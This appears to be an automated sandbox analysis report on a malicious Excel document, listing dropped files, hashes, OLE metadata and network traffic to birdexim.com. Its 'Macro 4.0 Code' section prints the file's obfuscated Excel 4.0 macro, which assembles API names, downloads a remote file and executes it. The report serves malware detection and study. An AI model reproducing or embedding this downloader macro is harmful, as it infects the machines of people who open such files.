Preview:	..n.0.E.......D'.....E....I?.&..a.@.............C..s.R.x~..x...55..f........._.wR..`.......Y\|.4..9..V.P.6F....[.,T......E....._....l..rk".X.A..b....-^.;YJC......&.9%9.h.>.1..v........Up...-@.r^".?@..X .(.f..:yN.WxPaP2b.....Jh.._0.7.i.....?..^.(.....V.g..Kk..i....%l9.*'Vi..3l...4/.O.re.......o....:..#>..F....#..N.....;....\|......._c.yV..zT.:...r...h~=.~.2#..w...p/:Fn.....l.n......s.@.......p9S...s.......8..u.....^&J.........r...8......... ...&D....e..i...........PK..........!...\|j............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabEA60.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\Local\Temp\TarEA61.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	152533
Entropy (8bit):	6.31602258454967
Encrypted:	false
SSDEEP:	1536:SIPLlYy2pRSjgCyrYBb5HQop4Ydm6CWku2PtIz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
MD5:	D0682A3C344DFC62FB18D5A539F81F61
SHA1:	09D3E9B899785DA377DF2518C6175D70CCF9DA33
SHA-256:	4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A
SHA-512:	0E884D65C738879C7038C8FB592F53DD515E630AEACC9D9E5F9013606364F092ACF7D832E1A8DAC86A1F0B0E906B2302EE3A840A503654F2B39A65B2FEA04EC3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..S....H.........S.0..S....1.0...`.H.e......0..C...+.....7.....C.0..C.0...+.....7.............201012214904Z0...+......0..C.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun Nov 29 11:52:42 2020, atime=Sun Nov 29 11:52:42 2020, length=12288, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.46318653349391
Encrypted:	false
SSDEEP:	12:85QVCe7LgXg/XAlCPCHaXgzB8IB/N4zX+WnicvbSGbDtZ3YilMMEpxRljKLPTdJU:85UCeJ/XTwz6IgYemqDv3qmrrNru/
MD5:	386DDA3061844C1253CDD19FCB48784C
SHA1:	13EB11AB0C824BCCBD072F4F96C8033B5CBA0613
SHA-256:	1E52589AA657CF86B1CE95C1523AD4E1D8D256328DD3E2A47AB304493076DEF0
SHA-512:	84ED0057574B971DD57EA756D6EB0CEFC9B1CA082D9EFE8EAD006B048BDEAFD59ED6B68C110D8EFD2329FB7F033445143A13819FD94D200480DF6AF53C955D35
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G..t...N...t...N....0......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....}Q.f..Desktop.d......QK.X}Q.f..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\549163\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......549163..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1423769819.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Sun Nov 29 11:52:42 2020, atime=Sun Nov 29 11:52:43 2020, length=339968, window=hide
Category:	dropped
Size (bytes):	4236
Entropy (8bit):	4.51967895453544
Encrypted:	false
SSDEEP:	96:8T/XLIkLuQh2T/XLIkLuQh2T/XLIkLuQh2T/XLIkLuQ/:8nIkCQEnIkCQEnIkCQEnIkCQ/
MD5:	CFCA1146A3B2FE4538245AF497D8AEB8
SHA1:	88075A7CDAB10969F63032370B63F804709201AA
SHA-256:	FD29FFFDAE8190C7B3A564DCD8DDC27C6CF97E8DC6514385E3EE3562DB91223A
SHA-512:	ED4BFAB71E73903A2D819AF5ACB7311772AC7A900283774D4B10EB158DEA73614F3E48FDC0F023B58DB83E48F41FBFD78F28E0973287B3DA0ACD53AE33794C51
Malicious:	false
Reputation:	low
Preview:	L..................F.... ....b0..{..t...N.......N....0...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....x.2..0..}Q.f .DOCUME~1.XLS..\.......Q.y.Q.y...8.....................d.o.c.u.m.e.n.t.-.1.4.2.3.7.6.9.8.1.9...x.l.s.......................-...8...[............?J......C:\Users\..#...................\\549163\Users.user\Desktop\document-1423769819.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.4.2.3.7.6.9.8.1.9...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......549163..........D_....3N.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	232
Entropy (8bit):	4.892151289256036
Encrypted:	false
SSDEEP:	6:dj6Y9LLCFSELLCF6Y9LLCFSELLCF6Y9LLCFSELLCF6Y9LLCFy:dmKuTu6KuTu6KuTu6Kuy
MD5:	99832748F590BC7ECC73948669ABE756
SHA1:	C166B08ED85A183B1046985D5655E9C0027AD94D
SHA-256:	4A1018094266FC46210FD8D07FF81F41EBE7D97BEB47E1BDB2E9DE1E6C6685F9
SHA-512:	591278D058983DE3CEE0E245FEC4622378DD56892B28BEAB921FEE2053B401B916E199472089E3D1A251C4D17DBD7CA0B2341008010A9EFDD3D54B517F01AF1E
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..document-1423769819.LNK=0..document-1423769819.LNK=0..[xls]..document-1423769819.LNK=0..document-1423769819.LNK=0..[xls]..document-1423769819.LNK=0..document-1423769819.LNK=0..[xls]..document-1423769819.LNK=0..

C:\Users\user\Desktop\61EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	401133
Entropy (8bit):	7.183474193263243
Encrypted:	false
SSDEEP:	6144:KcKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdZ:cizo8RnsIROnr6n75YkU
MD5:	2A599D6A3EAC0AE53DA5695599CF5B38
SHA1:	5F2066D7BCC847F0B12B7F808D5C1CACA2A84299
SHA-256:	506BDE6AA7A698C63CA572EB37479E03A4CB27DBA4683B3B3D6D31A2ECF3FF63
SHA-512:	03DE1EC27EB58926EF6BCCFFDC86E56004B36A884EF99F58FE6CF473D570B2A6DC498DBC9B555E5E1EB06E696A84A8EDFFE536BEA24794150DD8AD1E16C69E7A
Malicious:	false
Reputation:	low
Preview:	........g2.........................\.p.... B.....a.........=..........................................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 26 09:46:44 2020, Security: 0
Entropy (8bit):	7.520334201805138
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	document-1423769819.xls
File size:	339968
MD5:	1d20db444db998eae5a4970482e0f177
SHA1:	dd4e3b177804910b5a42b4377a1913fcca85baad
SHA256:	31d3a487f454a78f2ed78b95c309a6841052e010ea33fcc53f1faba5d22d11f6
SHA512:	01fb697169b6876c153aa08944f8a9a6d39ffc575cc0cce7b7742a81d42e1fd2fd85c1d77a9e815f696175d1ec72fc7bb7d3c4e8f5211d4ad4498b4cd66434a9
SSDEEP:	6144:+cKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpT+:5izo8RnsIROnr6n75YI
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "document-1423769819.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2020-11-26 09:46:44
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.367004077607
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.253094628
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . ! ! . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 21 21 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 327649

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	327649
Entropy:	7.64866061814
Base64 Encoded:	True
Data ASCII:	. . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

CALL("Ke"&????2!HR362&"32", "Cr"&????2!HT390&"yA", "JCJ", ????2!HI360&????2!HI375, 0)

CALL("U"&????2!HT380, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HI360&????2!HI375&????2!HI389, 0, 0)

=RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HR362&""32"",""Cr""&????2!HT390&""yA"",""JCJ"",????2!HI360&????2!HI375,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

"=CALL(""Ke""&????2!HR362&""32"",""Cr""&????2!HT390&""yA"",""JCJ"",????2!HI360,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108

"=CALL(""U""&????2!HT380,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!HI360&????2!HI375&????2!HI389,0,0)"=EXEC(????3!W36&????2!HI360&????2!HI375&????2!HI389)=HALT()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2020 04:52:27.287772894 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:27.421179056 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:27.421355009 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:27.435904026 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:27.569210052 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:27.577572107 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:27.577629089 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:27.577666044 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:27.577933073 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:27.620861053 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:27.759216070 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:27.759526014 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:29.130703926 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:29.283685923 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:29.284029007 CET	443	49167	103.21.59.169	192.168.2.22
Nov 29, 2020 04:52:29.284048080 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:29.284107924 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:29.284313917 CET	49167	443	192.168.2.22	103.21.59.169
Nov 29, 2020 04:52:29.417459011 CET	443	49167	103.21.59.169	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2020 04:52:26.981009007 CET	52197	53	192.168.2.22	8.8.8.8
Nov 29, 2020 04:52:27.277591944 CET	53	52197	8.8.8.8	192.168.2.22
Nov 29, 2020 04:52:28.094377995 CET	53099	53	192.168.2.22	8.8.8.8
Nov 29, 2020 04:52:28.121705055 CET	53	53099	8.8.8.8	192.168.2.22
Nov 29, 2020 04:52:28.134105921 CET	52838	53	192.168.2.22	8.8.8.8
Nov 29, 2020 04:52:28.161222935 CET	53	52838	8.8.8.8	192.168.2.22
Nov 29, 2020 04:52:28.674283981 CET	61200	53	192.168.2.22	8.8.8.8
Nov 29, 2020 04:52:28.711837053 CET	53	61200	8.8.8.8	192.168.2.22
Nov 29, 2020 04:52:28.722668886 CET	49548	53	192.168.2.22	8.8.8.8
Nov 29, 2020 04:52:28.758135080 CET	53	49548	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 29, 2020 04:52:26.981009007 CET	192.168.2.22	8.8.8.8	0xfda2	Standard query (0)	birdexim.com	A (IP address)	IN (0x0001)

DNS Answers

